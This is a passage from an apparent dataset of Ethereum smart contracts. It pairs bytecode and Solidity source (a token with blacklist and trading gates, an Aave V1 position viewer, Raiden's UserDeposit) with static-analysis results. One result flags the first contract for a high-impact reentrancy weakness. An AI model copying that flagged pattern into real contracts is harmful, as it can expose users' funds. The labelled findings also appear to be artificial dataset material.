160a01b0316336001600160a01b0316145b6109d357600080fd5b60006109de3061080e565b905061080b816112fb565b6000546001600160a01b03163314610a135760405162461bcd60e51b815260040161063b90611c42565b60005b82811015610a84578160056000868685818110610a3557610a35611c77565b9050602002016020810190610a4a9190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7c81611ca3565b915050610a16565b50505050565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161063b90611c42565b601755565b6000546001600160a01b03163314610ae35760405162461bcd60e51b815260040161063b90611c42565b6001600160a01b038116610b485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063b565b6001600160a01b038216610c665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063b565b6001600160a01b038216610d8d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063b565b60008111610def5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063b565b6000546001600160a01b03848116911614801590610e1b57506000546001600160a01b03838116911614155b156110fc57601554600160a01b900460ff16610eb4576000546001600160a01b03848116911614610eb45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063b565b601654811115610f065760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4857506001600160a01b03821660009081526010602052604090205460ff16155b610fa05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063b565b6015546001600160a01b038381169116146110255760175481610fc28461080e565b610fcc9190611cbc565b106110255760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063b565b60006110303061080e565b6018546016549192508210159082106110495760165491505b8080156110605750601554600160a81b900460ff16155b801561107a57506015546001600160a01b03868116911614155b801561108f5750601554600160b01b900460ff165b80156110b457506001600160a01b03851660009081526005602052604090205460ff16155b80156110d957506001600160a01b03841660009081526005602052604090205460ff16155b156110f9576110e7826112fb565b4780156110f7576110f74761123d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113e57506001600160a01b03831660009081526005602052604090205460ff165b8061117057506015546001600160a01b0385811691161480159061117057506015546001600160a01b03848116911614155b1561117d575060006111f7565b6015546001600160a01b0385811691161480156111a857506014546001600160a01b03848116911614155b156111ba57600854600c55600954600d555b6015546001600160a01b0384811691161480156111e557506014546001600160a01b03858116911614155b156111f757600a54600c55600b54600d555b610a8484848484611475565b600081848411156112275760405162461bcd60e51b815260040161063b9190611a30565b5060006112348486611cd4565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ac573d6000803e3d6000fd5b60006006548211156112de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161063b565b60006112e86114a3565b90506112f483826114c6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134357611343611c77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c09190611ceb565b816001815181106113d3576113d3611c77565b6001600160a01b0392831660209182029290920101526014546113f99130911684610ba3565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611432908590600090869030904290600401611d08565b600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148257611482611508565b61148d848484611536565b80610a8457610a84600e54600c55600f54600d55565b60008060006114b061162d565b90925090506114bf82826114c6565b9250505090565b60006112f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600c541580156115185750600d54155b1561151f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115488761169d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157a90876116fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a9908661173c565b6001600160a01b0389166000908152600260205260409020556115cb8161179b565b6115d584836117e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161a91815260200190565b60405180910390a3505050505050505050565b600654600090819068410d586a20a4c0000061164982826114c6565b8210156116665750506006549268410d586a20a4c0000092509050565b90939092509050565b600081836116905760405162461bcd60e51b815260040161063b9190611a30565b5060006112348486611d79565b60008060008060008060008060006116ba8a600c54600d54611809565b92509250925060006116ca6114a3565b905060008060006116dd8e87878761185e565b919e509c509a509598509396509194505050505091939550919395565b60006112f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611203565b6000806117498385611cbc565b9050838110156112f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063b565b60006117a56114a3565b905060006117b383836118ae565b306000908152600260205260409020549091506117d0908261173c565b30600090815260026020526040902055505050565b6006546117f290836116fa565b600655600754611802908261173c565b6007555050565b6000808080611823606461181d89896118ae565b906114c6565b90506000611836606461181d8a896118ae565b9050600061184e826118488b866116fa565b906116fa565b9992985090965090945050505050565b600080808061186d88866118ae565b9050600061187b88876118ae565b9050600061188988886118ae565b9050600061189b8261184886866116fa565b939b939a50919850919650505050505050565b6000826000036118c0575060006106c1565b60006118cc8385611d9b565b9050826118d98583611d79565b146112f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080b57600080fd5b803561196681611946565b919050565b6000602080838503121561197e57600080fd5b823567ffffffffffffffff8082111561199657600080fd5b818501915085601f8301126119aa57600080fd5b8135818111156119bc576119bc611930565b8060051b604051601f19603f830116810181811085821117156119e1576119e1611930565b6040529182528482019250838101850191888311156119ff57600080fd5b938501935b82851015611a2457611a158561195b565b84529385019392850192611a04565b98975050505050505050565b600060208083528351808285015260005b81811015611a5d57858101830151858201604001528201611a41565b81811115611a6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9857600080fd5b8235611aa381611946565b946020939093013593505050565b600080600060608486031215611ac657600080fd5b8335611ad181611946565b92506020840135611ae181611946565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b81356112f481611946565b8035801515811461196657600080fd5b600060208284031215611b3157600080fd5b6112f482611b0f565b600060208284031215611b4c57600080fd5b5035919050565b60008060008060808587031215611b6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9a57600080fd5b833567ffffffffffffffff80821115611bb257600080fd5b818601915086601f830112611bc657600080fd5b813581811115611bd557600080fd5b8760208260051b8501011115611bea57600080fd5b602092830195509350611c009186019050611b0f565b90509250925092565b60008060408385031215611c1c57600080fd5b8235611c2781611946565b91506020830135611c3781611946565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611cb557611cb5611c8d565b5060010190565b60008219821115611ccf57611ccf611c8d565b500190565b600082821015611ce657611ce6611c8d565b500390565b600060208284031215611cfd57600080fd5b81516112f481611946565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d585784516001600160a01b031683529383019391830191600101611d33565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db557611db5611c8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a881e8bf4c8e9847fb29e008f19820f1d9bb1eed97bb9454ac9cee02a31d0a3a64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,183
0x397ba854ac45317491388d88715610ba91f1edb7
/** *Submitted for verification at Etherscan.io on 2020-12-24 */ pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, ""); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, ""); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, ""); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } abstract contract IFlashLoanParamsGetter { function getFlashLoanParams(bytes memory _data) public view virtual returns (address[] memory tokens, uint256[] memory amount, uint256[] memory modes); } abstract contract ILendingPoolAddressesProvider { function getLendingPool() public view virtual returns (address); function setLendingPoolImpl(address _pool) public virtual; function getLendingPoolCore() public view virtual returns (address payable); function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual; function getLendingPoolConfigurator() public view virtual returns (address); function setLendingPoolConfiguratorImpl(address _configurator) public virtual; function getLendingPoolDataProvider() public view virtual returns (address); function setLendingPoolDataProviderImpl(address _provider) public virtual; function getLendingPoolParametersProvider() public view virtual returns (address); function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual; function getTokenDistributor() public view virtual returns (address); function setTokenDistributor(address _tokenDistributor) public virtual; function getFeeProvider() public view virtual returns (address); function setFeeProviderImpl(address _feeProvider) public virtual; function getLendingPoolLiquidationManager() public view virtual returns (address); function setLendingPoolLiquidationManager(address _manager) public virtual; function getLendingPoolManager() public view virtual returns (address); function setLendingPoolManager(address _lendingPoolManager) public virtual; function getPriceOracle() public view virtual returns (address); function setPriceOracle(address _priceOracle) public virtual; function getLendingRateOracle() public view virtual returns (address); function setLendingRateOracle(address _lendingRateOracle) public virtual; } library EthAddressLib { function ethAddress() internal pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } } abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual; function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external virtual payable; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual; function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable; function swapBorrowRateMode(address _reserve) external virtual; function getReserves() external virtual view returns(address[] memory); /// @param _reserve underlying token address function getReserveData(address _reserve) external virtual view returns ( uint256 totalLiquidity, // reserve total liquidity uint256 availableLiquidity, // reserve available liquidity for borrowing uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units. uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units. uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units. uint256 averageStableBorrowRate, // current average stable borrow rate uint256 utilizationRate, // expressed as total borrows/total liquidity. uint256 liquidityIndex, // cumulative liquidity index uint256 variableBorrowIndex, // cumulative variable borrow index address aTokenAddress, // aTokens contract address for the specific _reserve uint40 lastUpdateTimestamp // timestamp of the last update of reserve data ); /// @param _user users address function getUserAccountData(address _user) external virtual view returns ( uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei uint256 availableBorrowsETH, // user available amount to borrow in ETH uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited uint256 ltv, // user average Loan-to-Value between all the collaterals uint256 healthFactor // user current Health Factor ); /// @param _reserve underlying token address /// @param _user users address function getUserReserveData(address _reserve, address _user) external virtual view returns ( uint256 currentATokenBalance, // user current reserve aToken balance uint256 currentBorrowBalance, // user current reserve outstanding borrow balance uint256 principalBorrowBalance, // user balance of borrowed asset uint256 borrowRateMode, // user borrow rate mode either Stable or Variable uint256 borrowRate, // user current borrow rate APY uint256 liquidityRate, // user current earn rate on _reserve uint256 originationFee, // user outstanding loan origination fee uint256 variableBorrowIndex, // user variable cumulative index uint256 lastUpdateTimestamp, // Timestamp of the last data update bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral ); function getReserveConfigurationData(address _reserve) external virtual view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address rateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); // ------------------ LendingPoolCoreData ------------------------ function getReserveATokenAddress(address _reserve) public virtual view returns (address); function getReserveConfiguration(address _reserve) external virtual view returns (uint256, uint256, uint256, bool); function getUserUnderlyingAssetBalance(address _reserve, address _user) public virtual view returns (uint256); function getReserveCurrentLiquidityRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentStableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveTotalLiquidity(address _reserve) public virtual view returns (uint256); function getReserveAvailableLiquidity(address _reserve) public virtual view returns (uint256); function getReserveTotalBorrowsVariable(address _reserve) public virtual view returns (uint256); // ---------------- LendingPoolDataProvider --------------------- function calculateUserGlobalData(address _user) public virtual view returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } /// @title Getter contract for positions from Aave protocol contract AaveV1FullPositionView is DSMath, IFlashLoanParamsGetter { address public constant AAVE_V1_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; struct UserBorrows { address[] borrowAddr; uint256[] borrowAmounts; uint256[] borrowRateModes; } function getUserBorrows(address _user, address[] memory _borrTokens) public view returns (UserBorrows memory borrowsData) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_V1_LENDING_POOL_ADDRESSES).getLendingPool(); borrowsData = UserBorrows({ borrowAddr: new address[](_borrTokens.length), borrowAmounts: new uint[](_borrTokens.length), borrowRateModes: new uint[](_borrTokens.length) }); uint64 borrowPos = 0; for (uint64 i = 0; i < _borrTokens.length; i++) { address reserve = _borrTokens[i]; (,uint256 borrowBalance,,uint256 borrowRateMode,,,,,,) = ILendingPool(lendingPoolAddress).getUserReserveData(reserve, _user); // Sum up debt in Eth if (borrowBalance > 0) { borrowsData.borrowAddr[borrowPos] = reserve; borrowsData.borrowAmounts[borrowPos] = borrowBalance; borrowsData.borrowRateModes[borrowPos] = borrowRateMode; borrowPos++; } } return borrowsData; } function getFlashLoanParams(bytes memory _data) public view override returns (address[] memory tokens, uint256[] memory amount, uint256[] memory modes) { (address account, address[] memory borrTokens) = abi.decode(_data, (address,address[])); UserBorrows memory borrowsData = getUserBorrows(account, borrTokens); return (borrowsData.borrowAddr, borrowsData.borrowAmounts, borrowsData.borrowRateModes); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80630ae1cc8e146100465780639c4b57b114610071578063f094dd6e14610091575b600080fd5b610059610054366004610579565b6100a6565b60405161006893929190610721565b60405180910390f35b61008461007f3660046104dc565b6100ee565b6040516100689190610764565b6100996103cc565b60405161006891906106f3565b6060806060600080858060200190518101906100c29190610428565b9150915060006100d283836100ee565b8051602082015160409092015190999198509650945050505050565b6100f66103e4565b60007324a42fd28c976a61df5d00d0599c34c4f90748c86001600160a01b0316630261bf8b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561014557600080fd5b505afa158015610159573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017d9190610405565b9050604051806060016040528084516001600160401b03811180156101a157600080fd5b506040519080825280602002602001820160405280156101cb578160200160208202803683370190505b50815260200184516001600160401b03811180156101e857600080fd5b50604051908082528060200260200182016040528015610212578160200160208202803683370190505b50815260200184516001600160401b038111801561022f57600080fd5b50604051908082528060200260200182016040528015610259578160200160208202803683370190505b50905291506000805b8451816001600160401b031610156103c357600085826001600160401b03168151811061028b57fe5b60200260200101519050600080856001600160a01b03166328dd2d01848b6040518363ffffffff1660e01b81526004016102c6929190610707565b6101406040518083038186803b1580156102df57600080fd5b505afa1580156102f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031791906105ff565b50505050505093505092505060008211156103b857828760000151866001600160401b03168151811061034657fe5b60200260200101906001600160a01b031690816001600160a01b031681525050818760200151866001600160401b03168151811061038057fe5b602002602001018181525050808760400151866001600160401b0316815181106103a657fe5b60209081029190910101526001909401935b505050600101610262565b50505092915050565b7324a42fd28c976a61df5d00d0599c34c4f90748c881565b60405180606001604052806060815260200160608152602001606081525090565b600060208284031215610416578081fd5b815161042181610805565b9392505050565b6000806040838503121561043a578081fd5b825161044581610805565b809250506020808401516001600160401b03811115610462578283fd5b8401601f81018613610472578283fd5b8051610485610480826107e8565b6107c5565b81815283810190838501858402850186018a10156104a1578687fd5b8694505b838510156104cc5780516104b881610805565b8352600194909401939185019185016104a5565b5080955050505050509250929050565b600080604083850312156104ee578182fd5b82356104f981610805565b91506020838101356001600160401b03811115610514578283fd5b8401601f81018613610524578283fd5b8035610532610480826107e8565b81815283810190838501858402850186018a101561054e578687fd5b8694505b838510156104cc57803561056581610805565b835260019490940193918501918501610552565b6000602080838503121561058b578182fd5b82356001600160401b03808211156105a1578384fd5b818501915085601f8301126105b4578384fd5b8135818111156105c057fe5b6105d2601f8201601f191685016107c5565b915080825286848285010111156105e7578485fd5b80848401858401378101909201929092529392505050565b6000806000806000806000806000806101408b8d03121561061e578586fd5b8a51995060208b0151985060408b0151975060608b0151965060808b0151955060a08b0151945060c08b0151935060e08b015192506101008b015191506101208b0151801515811461066e578182fd5b809150509295989b9194979a5092959850565b6000815180845260208085019450808401835b838110156106b95781516001600160a01b031687529582019590820190600101610694565b509495945050505050565b6000815180845260208085019450808401835b838110156106b9578151875295820195908201906001016106d7565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6000606082526107346060830186610681565b828103602084015261074681866106c4565b9050828103604084015261075a81856106c4565b9695505050505050565b6000602082528251606060208401526107806080840182610681565b90506020840151601f198085840301604086015261079e83836106c4565b92506040860151915080858403016060860152506107bc82826106c4565b95945050505050565b6040518181016001600160401b03811182821017156107e057fe5b604052919050565b60006001600160401b038211156107fb57fe5b5060209081020190565b6001600160a01b038116811461081a57600080fd5b5056fea2646970667358221220d2b9b324aaa1da325775ec48d5b3ecc064ca036fe5720a43afde26263955077864736f6c63430007060033
{"success": true, "error": null, "results": {}}
3,184
0x5c46Ebb801dD1423D43d2C75651529f8ce715228
/** *Submitted for verification at Etherscan.io on 2021-12-01 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.10; pragma abicoder v2; interface Token { /// @return supply total amount of tokens function totalSupply() external view returns (uint256 supply); /// @param _owner The address from which the balance will be retrieved /// @return balance The balance function balanceOf(address _owner) external view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transfer(address _to, uint256 _value) external returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return success Whether the approval was successful or not function approve(address _spender, uint256 _value) external returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return remaining Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // Optionally implemented function to show the number of decimals for the token function decimals() external view returns (uint8 decimals); } /// @title Utils /// @notice Utils contract for various helpers used by the Raiden Network smart /// contracts. contract Utils { uint256 constant MAX_SAFE_UINT256 = 2**256 - 1; /// @notice Check if a contract exists /// @param contract_address The address to check whether a contract is /// deployed or not /// @return True if a contract exists, false otherwise function contractExists(address contract_address) public view returns (bool) { uint size; assembly { // solium-disable-line security/no-inline-assembly size := extcodesize(contract_address) } return size > 0; } string public constant signature_prefix = "\x19Ethereum Signed Message:\n"; function min(uint256 a, uint256 b) public pure returns (uint256) { return a > b ? b : a; } function max(uint256 a, uint256 b) public pure returns (uint256) { return a > b ? a : b; } /// @dev Special subtraction function that does not fail when underflowing. /// @param a Minuend /// @param b Subtrahend /// @return Minimum between the result of the subtraction and 0, the maximum /// subtrahend for which no underflow occurs function failsafe_subtract(uint256 a, uint256 b) public pure returns (uint256, uint256) { unchecked { return a > b ? (a - b, b) : (0, a); } } /// @dev Special addition function that does not fail when overflowing. /// @param a Addend /// @param b Addend /// @return Maximum between the result of the addition or the maximum /// uint256 value function failsafe_addition(uint256 a, uint256 b) public pure returns (uint256) { unchecked { uint256 sum = a + b; return sum >= a ? sum : MAX_SAFE_UINT256; } } } contract UserDeposit is Utils { uint constant public withdraw_delay = 100; // time before withdraw is allowed in blocks // Token to be used for the deposit Token public token; // Trusted contracts (can execute `transfer`) address public msc_address; address public one_to_n_address; // Total amount of tokens that have been deposited. This is monotonous and // doing a transfer or withdrawing tokens will not decrease total_deposit! mapping(address => uint256) public total_deposit; // Current user's balance, ignoring planned withdraws mapping(address => uint256) public balances; mapping(address => WithdrawPlan) public withdraw_plans; // The sum of all balances uint256 public whole_balance = 0; // Deposit limit for this whole contract uint256 public whole_balance_limit; /* * Structs */ struct WithdrawPlan { uint256 amount; uint256 withdraw_block; // earliest block at which withdraw is allowed } /* * Events */ event BalanceReduced(address indexed owner, uint newBalance); event WithdrawPlanned(address indexed withdrawer, uint plannedBalance); /* * Modifiers */ modifier canTransfer() { require(msg.sender == msc_address || msg.sender == one_to_n_address, "unknown caller"); _; } /* * Constructor */ /// @notice Set the default values for the smart contract /// @param _token_address The address of the token to use for rewards constructor(address _token_address, uint256 _whole_balance_limit) { // check token contract require(_token_address != address(0x0), "token at address zero"); require(contractExists(_token_address), "token has no code"); token = Token(_token_address); require(token.totalSupply() > 0, "token has no total supply"); // Check if the contract is indeed a token contract // check and set the whole balance limit require(_whole_balance_limit > 0, "whole balance limit is zero"); whole_balance_limit = _whole_balance_limit; } /// @notice Specify trusted contracts. This has to be done outside of the /// constructor to avoid cyclic dependencies. /// @param _msc_address Address of the MonitoringService contract /// @param _one_to_n_address Address of the OneToN contract function init(address _msc_address, address _one_to_n_address) external { // prevent changes of trusted contracts after initialization require(msc_address == address(0x0) && one_to_n_address == address(0x0), "already initialized"); // check monitoring service contract require(_msc_address != address(0x0), "MS contract at address zero"); require(contractExists(_msc_address), "MS contract has no code"); msc_address = _msc_address; // check one to n contract require(_one_to_n_address != address(0x0), "OneToN at address zero"); require(contractExists(_one_to_n_address), "OneToN has no code"); one_to_n_address = _one_to_n_address; } /// @notice Deposit tokens. The amount of transferred tokens will be /// `new_total_deposit - total_deposit[beneficiary]`. This makes the /// function behavior predictable and idempotent. Can be called several /// times and on behalf of other accounts. /// @param beneficiary The account benefiting from the deposit /// @param new_total_deposit The total sum of tokens that have been /// deposited by the user by calling this function. function deposit(address beneficiary, uint256 new_total_deposit) external { require(new_total_deposit > total_deposit[beneficiary], "deposit not increasing"); // Calculate the actual amount of tokens that will be transferred uint256 added_deposit = new_total_deposit - total_deposit[beneficiary]; balances[beneficiary] += added_deposit; total_deposit[beneficiary] += added_deposit; // Update whole_balance, but take care against overflows. require(whole_balance + added_deposit >= whole_balance, "overflowing deposit"); whole_balance += added_deposit; // Decline deposit if the whole balance is bigger than the limit. require(whole_balance <= whole_balance_limit, "too much deposit"); // Actual transfer. require(token.transferFrom(msg.sender, address(this), added_deposit), "tokens didn't transfer"); } /// @notice Internally transfer deposits between two addresses. /// Sender and receiver must be different or the transaction will fail. /// @param sender Account from which the amount will be deducted /// @param receiver Account to which the amount will be credited /// @param amount Amount of tokens to be transferred /// @return success true if transfer has been done successfully, otherwise false function transfer( address sender, address receiver, uint256 amount ) external canTransfer() returns (bool success) { require(sender != receiver, "sender == receiver"); if (balances[sender] >= amount && amount > 0) { balances[sender] -= amount; // This can overflow in theory, but this is checked by solidity since 0.8.0. // In practice, with any reasonable token, where the supply is limited to uint256, // this can never overflow. // See https://github.com/raiden-network/raiden-contracts/pull/448#discussion_r250609178 balances[receiver] += amount; emit BalanceReduced(sender, balances[sender]); return true; } else { return false; } } /// @notice Announce intention to withdraw tokens. /// Sets the planned withdraw amount and resets the withdraw_block. /// There is only one planned withdrawal at a time, the old one gets overwritten. /// @param amount Maximum amount of tokens to be withdrawn function planWithdraw(uint256 amount) external { require(amount > 0, "withdrawing zero"); require(balances[msg.sender] >= amount, "withdrawing too much"); withdraw_plans[msg.sender] = WithdrawPlan({ amount: amount, withdraw_block: block.number + withdraw_delay }); emit WithdrawPlanned(msg.sender, balances[msg.sender] - amount); } /// @notice Execute a planned withdrawal /// Will only work after the withdraw_delay has expired. /// An amount lower or equal to the planned amount may be withdrawn. /// Removes the withdraw plan even if not the full amount has been /// withdrawn. /// @param amount Amount of tokens to be withdrawn /// @param beneficiary Address to send withdrawn tokens to function withdrawToBeneficiary(uint256 amount, address beneficiary) external { withdrawHelper(amount, msg.sender, beneficiary); } /// @notice Execute a planned withdrawal /// Will only work after the withdraw_delay has expired. /// An amount lower or equal to the planned amount may be withdrawn. /// Removes the withdraw plan even if not the full amount has been /// withdrawn. /// @param amount Amount of tokens to be withdrawn function withdraw(uint256 amount) external { withdrawHelper(amount, msg.sender, msg.sender); } /// @notice The owner's balance with planned withdrawals deducted /// @param owner Address for which the balance should be returned /// @return remaining_balance The remaining balance after planned withdrawals function effectiveBalance(address owner) external view returns (uint256 remaining_balance) { WithdrawPlan storage withdraw_plan = withdraw_plans[owner]; if (withdraw_plan.amount > balances[owner]) { return 0; } return balances[owner] - withdraw_plan.amount; } function withdrawHelper(uint256 amount, address deposit_holder, address beneficiary) internal { require(beneficiary != address(0x0), "beneficiary is zero"); WithdrawPlan storage withdraw_plan = withdraw_plans[deposit_holder]; require(amount <= withdraw_plan.amount, "withdrawing more than planned"); require(withdraw_plan.withdraw_block <= block.number, "withdrawing too early"); uint256 withdrawable = min(amount, balances[deposit_holder]); balances[deposit_holder] -= withdrawable; // Update whole_balance, but take care against underflows. require(whole_balance - withdrawable <= whole_balance, "underflow in whole_balance"); whole_balance -= withdrawable; emit BalanceReduced(deposit_holder, balances[deposit_holder]); delete withdraw_plans[deposit_holder]; require(token.transfer(beneficiary, withdrawable), "tokens didn't transfer"); } } // MIT License // Copyright (c) 2018 // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above 